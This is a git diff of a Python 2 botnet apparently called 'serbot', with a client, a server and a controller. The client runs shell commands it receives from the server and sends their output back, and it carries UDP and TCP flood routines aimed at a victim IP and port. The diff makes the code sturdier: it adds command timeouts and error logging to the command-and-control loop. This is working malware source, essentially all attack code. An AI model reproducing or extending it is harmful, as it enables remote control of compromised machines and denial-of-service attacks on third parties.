diff --git a/client.py b/client.py index e16fd91..3f097af 100755 --- a/client.py +++ b/client.py @@ -1,7 +1,6 @@ #!/usr/bin/env python2 -#v2 -import subprocess, os, sys, time, threading +import subprocess, os, sys, time, threading, signal from socket import * if (len(sys.argv) == 3): @@ -10,6 +9,12 @@ else: sys.exit("Usage: client.py ") +class Alarm(Exception): + pass + +def alarm_handler(signum, frame): + raise Alarm + class udpFlood(threading.Thread): def __init__ (self, victimip, victimport): threading.Thread.__init__(self) @@ -81,18 +86,26 @@ def main(): msg=s.recv(10240) if ((msg != "exit") and ("cd " not in msg) and ("udpflood " not in msg) and ("tcpflood " not in msg) and (msg != "hellows123") and ("udpfloodall " not in msg) and ("tcpfloodall " not in msg)): comm = subprocess.Popen(str(msg), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) - STDOUT, STDERR = comm.communicate() - en_STDERR = bytearray(STDERR) - en_STDOUT = bytearray(STDOUT) - if (en_STDERR == ""): - if (en_STDOUT != ""): - print en_STDOUT - s.send(en_STDOUT) + signal.signal(signal.SIGALRM, alarm_handler) + signal.alarm(10) + try: + STDOUT, STDERR = comm.communicate() + en_STDERR = bytearray(STDERR) + en_STDOUT = bytearray(STDOUT) + if (en_STDERR == ""): + if (en_STDOUT != ""): + print en_STDOUT + s.send(en_STDOUT) + else: + s.send("[CLIENT] Command Executed") else: - s.send("[CLIENT] Command Executed") - else: - print en_STDERR - s.send(en_STDERR) + print en_STDERR + s.send(en_STDERR) + except Alarm: + comm.terminate() + comm.kill() + s.send("[CLIENT] 30 Seconds Exceeded - SubProcess Killed\n") + signal.alarm(0) elif ("cd " in msg): msg = msg.replace("cd ","") os.chdir(msg) diff --git a/controller.py b/controller.py index aa854a7..d885249 100755 --- a/controller.py +++ b/controller.py @@ -1,5 +1,4 @@ #!/usr/bin/env python2 -#v2 import subprocess, os, sys, time, threading from socket import * diff --git a/server.py b/server.py index c85c1f3..145170a 100755 --- a/server.py +++ b/server.py @@ -1,7 +1,6 @@ #!/usr/bin/env python2 -#v3 -import os, sys, time +import os, sys, time, datetime from socket import * if (len(sys.argv) == 4): @@ -25,21 +24,25 @@ s=socket(AF_INET, SOCK_STREAM) s.settimeout(5) s.bind(("0.0.0.0",port)) -s.listen(100) +s.listen(5) allConnections = [] -allAddresses = [] +allAddresses = [] -def updateLogs(): - +def updateLogs(newlog): + time = datetime.datetime.now() + newlog = "[%s] %s\n" % (time, newlog) + f = open("serbot-logs.txt", "a") + f.write(newlog) + f.close() def quitClients(): for item in allConnections: try: item.send("exit") item.close() - except: - pass + except Exception as error: + updateLogs(error) del allConnections[:] del allAddresses[:] @@ -117,7 +120,7 @@ def main(): try: data=q.recv(10240) - if ((data != "stop") and ("cd " not in data) and ("udpflood " not in data) and ("tcpflood " not in data) and (data != "quit")): + if ((data != "stop") and ("cd " not in data) and ("udpflood " not in data) and ("tcpflood " not in data)): try: allConnections[chosenone].send(data) msg=allConnections[chosenone].recv(10240) @@ -143,11 +146,8 @@ def main(): except: q.send("[ERROR] Client closed the connection\n") break - elif (data == "stop"): - break - elif (data == "quit"): - breakit = True + elif (data == "stop"): break except: quitClients() @@ -160,8 +160,8 @@ def main(): for item in allConnections: try: item.send(command) - except: - pass + except Exception as error: + updateLogs(error) elif(command == "quit"): quitClients() break @@ -178,7 +178,9 @@ def main(): del allConnections[:] del allAddresses[:] - except: - pass + except Exception as error: + updateLogs(error) + except Exception as error: + updateLogs(error) + time.sleep(5) -